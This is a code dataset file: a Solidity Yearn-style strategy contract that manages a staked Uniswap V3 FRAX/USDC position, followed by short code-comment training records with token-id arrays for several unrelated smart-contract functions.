// setters
bool public reLockProfits; // true if we choose to re-lock profits following each harvest and automatically start another epoch
bool public checkTrueHoldings; // bool to reset our profit/loss based on the amount we have if we withdrew everything at once
uint256 public slippageMax; // in bips, how much slippage we allow between our optimistic assets and pessimistic. 50 = 0.5% slippage. Remember curve swap costs 0.04%.
bool internal forceHarvestTriggerOnce; // only set this to true externally when we want to trigger our keepers to harvest for us
// check for cloning
bool internal isOriginal = true;
/* ========== CONSTRUCTOR ========== */
constructor(address _vault) public BaseStrategy(_vault) {
_initializeStrat();
}
/* ========== CLONING ========== */
event Cloned(address indexed clone);
// initializetime
function _initializeStrat() internal {
require(nftId == 0);
refer = 0x16388463d60FFE0661Cf7F1f31a7D658aC790ff7;
voter = 0x16388463d60FFE0661Cf7F1f31a7D658aC790ff7;
fraxTimelockSet = 86400;
nftId = 1;
reLockProfits = true;
slippageMax = 50;
nftUnlockTime = type(uint256).max;
want.approve(address(curve), type(uint256).max);
frax.approve(address(curve), type(uint256).max);
want.approve(uniNFT, type(uint256).max);
frax.approve(uniNFT, type(uint256).max);
fxs.approve(unirouter, type(uint256).max);
}
function initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) external {
_initialize(_vault, _strategist, _rewards, _keeper);
_initializeStrat();
}
function cloneFraxUni(
address _vault,
address _strategist,
address _rewards,
address _keeper
) external returns (address newStrategy) {
require(isOriginal);
// Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol
bytes20 addressBytes = bytes20(address(this));
assembly {
// EIP-1167 bytecode
let clone_code := mload(0x40)
mstore(
clone_code,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
mstore(add(clone_code, 0x14), addressBytes)
mstore(
add(clone_code, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
newStrategy := create(0, clone_code, 0x37)
}
StrategyFraxUniswapUSDC(newStrategy).initialize(
_vault,
_strategist,
_rewards,
_keeper
);
emit Cloned(newStrategy);
}
/* ========== VIEWS ========== */
function name() external view override returns (string memory) {
return "StrategyFraxUniswapUSDC";
}
// returns balance of want token
function balanceOfWant() public view returns (uint256) {
return want.balanceOf(address(this));
}
// returns balance of frax token
function balanceOfFrax() public view returns (uint256) {
return frax.balanceOf(address(this));
}
/// @notice Returns additional USDC we get if we swap our FRAX on Curve
function valueOfFrax() public view returns (uint256) {
// see how much USDC we would get for our FRAX on curve
uint256 currentFrax = balanceOfFrax();
if (currentFrax > 0) {
return curve.get_dy_underlying(0, 2, currentFrax);
} else {
return 0;
}
}
// returns balance of our UniV3 LP, assuming 1 FRAX = 1 want, factoring curve swap fee
function balanceOfNFToptimistic() public view returns (uint256) {
(uint256 fraxBalance, uint256 usdcBalance) = principal();
uint256 fraxRebase = fraxBalance.div(1e12).mul(9996).div(DENOMINATOR); // div by 1e12 to convert frax to usdc, assume 1:1 swap on curve with fees
return fraxRebase.add(usdcBalance);
}
/// @notice Returns balance of our UniV3 LP, swapping all FRAX to want using Curve.
function balanceOfNFTpessimistic() public view returns (uint256) {
(uint256 fraxBalance, uint256 usdcBalance) = principal();
// only bother adding/converting if we have anything, otherwise just return usdcBalance
if (fraxBalance > 0) {
uint256 usdcCurveOut = curve.get_dy_underlying(0, 2, fraxBalance);
return usdcCurveOut.add(usdcBalance);
} else {
return usdcBalance;
}
}
// assume pessimistic value; used directly in emergencyExit
function estimatedTotalAssets() public view override returns (uint256) {
return
balanceOfWant().add(valueOfFrax()).add(balanceOfNFTpessimistic());
}
/* ========== MUTATIVE FUNCTIONS ========== */
// claim profit and swap for want
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
// in normal situations we can simply use our loose tokens as profit
// do this so we don't count dust leftover from LPing as profit
uint256 beforeStableBalance = balanceOfWant().add(valueOfFrax());
// claim our rewards. this will give us FXS (emissions), FRAX, and USDC (fees)
// however, only claim if we have an NFT staked
if (IFrax(fraxLock).lockedLiquidityOf(address(this)) > 0) {
IFrax(fraxLock).getReward();
}
// send some FXS to our voter for boosted emissions
uint256 fxsBalance = fxs.balanceOf(address(this));
if (fxsBalance > 0) {
uint256 tokensToSend = fxsBalance.mul(keepFXS).div(DENOMINATOR);
if (tokensToSend > 0) {
fxs.transfer(voter, tokensToSend);
}
uint256 tokensRemain = fxs.balanceOf(address(this));
if (tokensRemain > 0) {
_swapFXS(tokensRemain);
}
}
// convert all of our FRAX profits to USDC for ease of accounting
uint256 fraxToSwap = balanceOfFrax();
if (fraxToSwap > 0) {
_curveSwapToWant(fraxToSwap);
}
// check how much we have after claiming our rewards
uint256 wantBal = balanceOfWant();
// slightly pessimistic profits since we convert our FRAX to USDC before counting it
uint256 afterStableBalance = valueOfFrax().add(wantBal);
_profit = afterStableBalance.sub(beforeStableBalance);
_debtPayment = _debtOutstanding;
// use this to check our profit/loss if we suspect the pool is imbalanced in one way or the other, or if we get donations
if (checkTrueHoldings) {
uint256 assets = estimatedTotalAssets();
uint256 debt = vault.strategies(address(this)).totalDebt;
// if assets are greater than debt, things are working great!
if (assets > debt) {
_profit = assets.sub(debt);
}
// Losses should never happen unless FRAX depegs, but if it does, let's record it accurately.
else {
_loss = debt.sub(assets);
_profit = 0;
}
// reset since we've adjusted for our true holdings
checkTrueHoldings = false;
} else {
// check our peg to make sure everything is okay
checkFraxPeg();
}
// we need to free up all of our profit as USDC
uint256 toFree = _debtPayment.add(_profit);
if (toFree > wantBal) {
toFree = toFree.sub(wantBal);
_withdrawSome(toFree);
// check what we got back out
wantBal = balanceOfWant();
_debtPayment = Math.min(_debtOutstanding, wantBal);
// make sure we pay our debt first, then count profit. if not enough to pay debt, then only loss.
if (wantBal > _debtPayment) {
_profit = wantBal.sub(_debtPayment);
} else {
_profit = 0;
_loss = _debtOutstanding.sub(_debtPayment);
}
}
// we're done harvesting, so reset our trigger if we used it
forceHarvestTriggerOnce = false;
}
// Swap FXS -> FRAX on UniV2
function _swapFXS(uint256 _amountIn) internal {
address[] memory path = new address[](2);
path[0] = address(fxs);
path[1] = address(frax);
IUni(unirouter).swapExactTokensForTokens(
_amountIn,
0,
path,
address(this),
block.timestamp
);
}
function _curveSwapToFrax(uint256 _amountIn) internal {
// use our slippage tolerance, convert between USDC (1e6) -> FRAX (1e18)
uint256 _amountOut =
_amountIn.mul(DENOMINATOR.sub(slippageMax)).div(DENOMINATOR).mul(
1e12
);
// USDC is 2, DAI is 1, Tether is 3, frax is 0
curve.exchange_underlying(2, 0, _amountIn, _amountOut);
}
function _curveSwapToWant(uint256 _amountIn) internal {
// use our slippage tolerance, convert between FRAX (1e18) -> USDC (1e6)
uint256 _amountOut =
_amountIn.mul(DENOMINATOR.sub(slippageMax)).div(DENOMINATOR).div(
1e12
);
// USDC is 2, DAI is 1, Tether is 3, frax is 0
curve.exchange_underlying(0, 2, _amountIn, _amountOut);
}
// Deposit value to NFT & stake NFT
function adjustPosition(uint256 _debtOutstanding) internal override {
if (emergencyExit || nftId == 1) {
return;
}
// NFT has to be unlocked before we can do anything with it
require(block.timestamp > nftUnlockTime, "Wait for NFT to unlock!");
// unstake our NFT so we can withdraw or deposit more as needed
_nftUnstake();
// only re-lock our profits if our bool is true
if (reLockProfits) {
// Invest the rest of the want
uint256 wantBal = balanceOfWant();
if (wantBal > 0) {
// need to swap half want to frax, but use the proper conversion
// based on the current exchange rate in the LP
(uint256 fraxBal, uint256 usdcBal) = principal();
uint256 fraxPercentage = 5e17; // default our percentage to 50%, 100% is 1e18
if (usdcBal > 0 || fraxBal > 0) {
fraxPercentage = fraxBal.mul(1e18).div(
(usdcBal.mul(1e12)).add(fraxBal)
); // multiply usdc by 1e12 to convert to frax, 1e18
}
uint256 fraxNeeded = wantBal.mul(fraxPercentage).div(1e18); // this will be 1e6, which matches our valueOfFrax
// we should only have USDC holdings after our harvest
// doing this will leave us with a little USDC leftover each time
if (fraxNeeded > 0) {
_curveSwapToFrax(fraxNeeded);
}
// add more liquidity to our NFT
IUniNFT.increaseStruct memory setIncrease =
IUniNFT.increaseStruct(
nftId,
balanceOfFrax(),
balanceOfWant(),
0,
0,
block.timestamp
);
IUniNFT(uniNFT).increaseLiquidity(setIncrease);
}
// re-lock our NFT
_nftStake();
}
}
// this is only called externally by user withdrawals
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
// check if we have enough free funds to cover the withdrawal
uint256 wantBal = balanceOfWant();
if (wantBal < _amountNeeded) {
// make sure our pool is healthy enough for a normal withdrawal
checkFraxPeg();
// We need to withdraw to get back more want
uint256 toFree = _amountNeeded.sub(wantBal);
_withdrawSome(toFree);
// reload balance of want after withdrawing funds
wantBal = balanceOfWant();
}
// check again if we have enough balance available to cover the liquidation
if (wantBal >= _amountNeeded) {
_liquidatedAmount = _amountNeeded;
} else {
// we took a loss :(
_liquidatedAmount = wantBal;
_loss = _amountNeeded.sub(wantBal);
}
}
function liquidateAllPositions()
internal
override
returns (uint256 _amountFreed)
{
// amount here doesn't really matter, since in withdrawSome we always withdraw everything
// if emergencyExit is true, so just use more than we would have loose in the strategy
(_amountFreed, ) = liquidatePosition(estimatedTotalAssets());
}
// before we go crazy withdrawing or harvesting, make sure our FRAX peg is healthy
function checkFraxPeg() internal {
uint256 virtualBalance = balanceOfNFToptimistic();
uint256 realBalance = balanceOfNFTpessimistic();
// don't bother checking if either of our vars are 0 since we will revert
if (realBalance == 0 || virtualBalance == 0) {
return;
}
if (virtualBalance > realBalance) {
require(
(slippageMax >
(virtualBalance.sub(realBalance)).mul(DENOMINATOR).div(
realBalance
)),
"too much FRAX"
);
} else {
require(
(slippageMax >
(realBalance.sub(virtualBalance)).mul(DENOMINATOR).div(
virtualBalance
)),
"too much USDC"
);
}
}
// withdraw some want from the vaults, probably don't want to allow users to initiate this
function _withdrawSome(uint256 _amount) internal {
if (nftId == 1) {
return;
}
// NFT has to be unlocked before we can do anything with it
require(block.timestamp > nftUnlockTime, "Wait for NFT to unlock!");
// if we don't have enough free funds, unstake our NFT
_nftUnstake();
// use our "ideal" amount for this so we under-estimate and assess losses on each debt reduction
// calculate the share of the NFT that our amount needed should be
uint256 debt = vault.strategies(address(this)).totalDebt;
uint256 optimisticBal = Math.max(balanceOfNFToptimistic(), debt);
uint256 fraction;
if (optimisticBal > 0) {
// don't want to divide by 0
fraction = (_amount).mul(1e18).div(optimisticBal); // multiply by 1e18 for precision reasons
} else {
return;
}
(, , , , , , , uint128 liquidity, , , , ) =
IUniNFT(uniNFT).positions(nftId);
// convert between uint128 and uint256, fun!
uint256 _liquidity = uint256(liquidity);
uint256 liquidityToRemove = _liquidity.mul(fraction).div(1e18); // divide by 1e18 since that's how big our fraction is
// remove it all if we're in emergency exit
if (fraction >= 1e18 || emergencyExit) {
liquidityToRemove = _liquidity;
}
// convert between uint128 and uint256, fun!
uint128 _liquidityToRemove = uint128(liquidityToRemove);
// remove our specified liquidity amount
IUniNFT.decreaseStruct memory setDecrease =
IUniNFT.decreaseStruct(
nftId,
_liquidityToRemove,
0,
0,
block.timestamp
);
IUniNFT(uniNFT).decreaseLiquidity(setDecrease);
IUniNFT.collectStruct memory collectParams =
IUniNFT.collectStruct(
nftId,
address(this),
type(uint128).max,
type(uint128).max
);
IUniNFT(uniNFT).collect(collectParams);
// swap any FRAX we have to USDC
uint256 currentFrax = balanceOfFrax();
if (currentFrax > 0) {
_curveSwapToWant(currentFrax);
}
}
// transfers all tokens to new strategy
function prepareMigration(address _newStrategy) internal override {
frax.transfer(_newStrategy, balanceOfFrax());
fxs.transfer(_newStrategy, fxs.balanceOf(address(this)));
// NFT has to be unlocked before we can do anything with it
require(block.timestamp > nftUnlockTime, "Wait for NFT to unlock!");
// unstake and send our NFT to our new strategy, don't try migrating if we don't have an NFT
if (nftId != 1) {
_nftUnstake();
IERC721(uniNFT).transferFrom(address(this), _newStrategy, nftId);
// approvals automatically revoke when we migrate. and set our NFTid back to 1
_setGovParams(address(0), address(0), 0, 1, 0, 0);
}
}
/* ========== SETTERS ========== */
// sets the id of the minted NFT. Unknowable until mintNFT is called
function _setGovParams(
address _refer,
address _voter,
uint256 _keepFXS,
uint256 _nftId,
uint256 _timelockInSeconds,
uint256 _currentUnlockTime
) internal {
refer = _refer;
voter = _voter;
keepFXS = _keepFXS;
nftId = _nftId;
fraxTimelockSet = _timelockInSeconds;
nftUnlockTime = _currentUnlockTime;
}
function setGovParams(
address _refer,
address _voter,
uint256 _keepFXS,
uint256 _nftId,
uint256 _timelockInSeconds,
uint256 _currentUnlockTime
) external onlyGovernance {
_setGovParams(
_refer,
_voter,
_keepFXS,
_nftId,
_timelockInSeconds,
_currentUnlockTime
);
}
///@notice This allows us to decide to automatically re-lock our NFT with profits after a harvest
function setManagerParams(
bool _reLockProfits,
bool _checkTrueHoldings,
uint256 _slippageMax
) external onlyVaultManagers {
require(_slippageMax < 10001, "10000 = 100% slippage");
reLockProfits = _reLockProfits;
checkTrueHoldings = _checkTrueHoldings;
slippageMax = _slippageMax;
}
///@notice This allows us to manually harvest with our keeper as needed
function setForceHarvestTriggerOnce(bool _forceHarvestTriggerOnce)
external
onlyAuthorized
{
forceHarvestTriggerOnce = _forceHarvestTriggerOnce;
}
/* ========== NFT HELPERS ========== */
// This function is needed to initialize the entire strategy.
// want needs to be airdropped to the strategy in a nominal amount. Say ~1k USD worth.
// This will run through the process of minting the NFT on UniV3
// that NFT will be the NFT we use for this strat. We will add/sub balances, but never burn the NFT
// it will always have dust, accordingly
function mintNFT() external onlyVaultManagers {
require(
(balanceOfWant() > 0 &&
IUniNFT(uniNFT).balanceOf(address(this)) == 0),
"can't mint"
);
// swap < half to frax, don't care about using real pricing since it's a small amount
// and is only meant to seed the LP. prefer extra want left over for accounting reasons.
uint256 swapAmt = balanceOfWant().mul(40).div(100);
_curveSwapToFrax(swapAmt);
IUniNFT.nftStruct memory setNFT =
IUniNFT.nftStruct(
address(frax),
address(want),
500,
(-276380),
(-276270),
balanceOfFrax(),
balanceOfWant(),
0,
0,
address(this),
block.timestamp
);
//time to mint the NFT
(uint256 tokenOut, , , ) = IUniNFT(uniNFT).mint(setNFT);
nftId = tokenOut;
// reset our unlock time, we have our NFT but it's not locked
nftUnlockTime = 0;
}
/// turning PositionValue.sol into an internal function
// positionManager is uniNFT, nftId, sqrt
function principal()
public
view
returns (
//contraqct uniNFT,
//nftId,
// uint160 sqrtRatioX96
uint256 fraxHoldings,
uint256 usdcHoldings
)
{
if (nftId == 1) {
// this is our "placeholder" ID, means we need to mint our NFT still
return (0, 0);
} else {
// check where our NFT is, hopefully staked or in our strategy 😬
address nftOwner = IUniNFT(uniNFT).ownerOf(nftId);
if (nftOwner == address(this) || nftOwner == fraxLock) {
(
,
,
,
,
,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
,
,
,
) = IUniNFT(uniNFT).positions(nftId);
(uint160 sqrtRatioX96, , , , , , ) = IUniV3(uniV3Pool).slot0();
return
LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(tickLower),
TickMath.getSqrtRatioAtTick(tickUpper),
liquidity
);
} else {
// we don't have our NFT, that's not good
return (0, 0);
}
}
}
/// @notice This is here so our contract can receive ERC721 tokens.
function onERC721Received(
address,
address,
uint256,
bytes calldata
) public pure virtual returns (bytes4) {
return this.onERC721Received.selector;
}
function _nftUnstake() internal {
address nftOwner = IUniNFT(uniNFT).ownerOf(nftId);
if (nftOwner == fraxLock) {
IFrax(fraxLock).withdrawLocked(nftId);
}
}
function nftUnstake() external onlyVaultManagers {
_nftUnstake();
}
function _nftStake() internal {
IERC721(uniNFT).approve(fraxLock, nftId);
IFrax(fraxLock).stakeLocked(nftId, fraxTimelockSet);
// update our new unlock time
nftUnlockTime = block.timestamp.add(fraxTimelockSet);
}
function nftStake() external onlyVaultManagers {
_nftStake();
}
/// @notice Include this so gov can sweep our NFT if needed.
function sweepNFT(address _destination) external onlyGovernance {
IERC721(uniNFT).safeTransferFrom(address(this), _destination, nftId);
}
/* ========== KEEP3RS ========== */
// use this to determine when to harvest
function harvestTrigger(uint256 callCostinEth)
public
view
override
returns (bool)
{
// Should not trigger if strategy is not active (no assets and no debtRatio). This means we don't need to adjust keeper job.
if (!isActive()) {
return false;
}
if (!isBaseFeeAcceptable()) {
return false;
}
// harvest if our NFT can be unlocked
if (block.timestamp > nftUnlockTime) {
return true;
}
// trigger if we want to manually harvest
if (forceHarvestTriggerOnce) {
return true;
}
// otherwise, we don't harvest
return false;
}
// check if the current baseFee is below our external target
function isBaseFeeAcceptable() internal view returns (bool) {
return
IBaseFee(0xb5e1CAcB567d98faaDB60a1fD4820720141f064F)
.isCurrentBaseFeeAcceptable();
}
/* ========== FUNCTION GRAVEYARD ========== */
function ethToWant(uint256 _amtInWei)
public
view
override
returns (uint256)
{}
function protectedTokens()
internal
view
override
returns (address[] memory)
{}
}
|
update our new unlock time
|
function _nftStake() internal {
IERC721(uniNFT).approve(fraxLock, nftId);
IFrax(fraxLock).stakeLocked(nftId, fraxTimelockSet);
nftUnlockTime = block.timestamp.add(fraxTimelockSet);
}
| 12,567,364 |
[
1,
2725,
3134,
394,
7186,
813,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
82,
1222,
510,
911,
1435,
2713,
288,
203,
3639,
467,
654,
39,
27,
5340,
12,
318,
77,
50,
4464,
2934,
12908,
537,
12,
74,
354,
92,
2531,
16,
290,
1222,
548,
1769,
203,
3639,
11083,
354,
92,
12,
74,
354,
92,
2531,
2934,
334,
911,
8966,
12,
82,
1222,
548,
16,
284,
354,
92,
10178,
292,
975,
694,
1769,
203,
203,
3639,
290,
1222,
7087,
950,
273,
1203,
18,
5508,
18,
1289,
12,
74,
354,
92,
10178,
292,
975,
694,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x555Ee2410B1acBE25cD440e95E164348ee07D37D/sources/NFTVoting.sol
|
Check if candidate is valid
|
modifier onlyValidCandidate(string calldata _candidate) {
require(candidateResults[currentElectionId][_candidate].isValid, "This candidate is not participating in this election");
_;
}
| 12,348,777 |
[
1,
1564,
309,
5500,
353,
923,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
9606,
1338,
1556,
11910,
12,
1080,
745,
892,
389,
19188,
13,
288,
203,
3639,
2583,
12,
19188,
3447,
63,
2972,
29110,
548,
6362,
67,
19188,
8009,
26810,
16,
315,
2503,
5500,
353,
486,
30891,
1776,
316,
333,
25526,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x7721aC9C664a7284b1c6deF0381669Af62906c01/sources/DMGYieldFarmingV2.sol
|
* @dev Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner./
|
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "DMGYieldFarmingData::transferOwnership: INVALID_OWNER");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| 4,050,022 |
[
1,
1429,
18881,
23178,
434,
326,
6835,
358,
279,
394,
2236,
21863,
2704,
5541,
68,
2934,
4480,
1338,
506,
2566,
635,
326,
783,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
1338,
5541,
288,
203,
3639,
2583,
12,
2704,
5541,
480,
1758,
12,
20,
3631,
315,
16125,
43,
16348,
42,
4610,
310,
751,
2866,
13866,
5460,
12565,
30,
10071,
67,
29602,
8863,
203,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
24899,
8443,
16,
394,
5541,
1769,
203,
3639,
389,
8443,
273,
394,
5541,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x0e56a00f509986d7572410a9D45A97387aA57B63/sources/contracts/Phoenix/Crypto-Phoenix.sol
|
2.5% of the total supply
|
uint256 internal constant maxTransactionAmount = TOTAL_SUPPLY / 40;
| 3,109,329 |
[
1,
22,
18,
25,
9,
434,
326,
2078,
14467,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
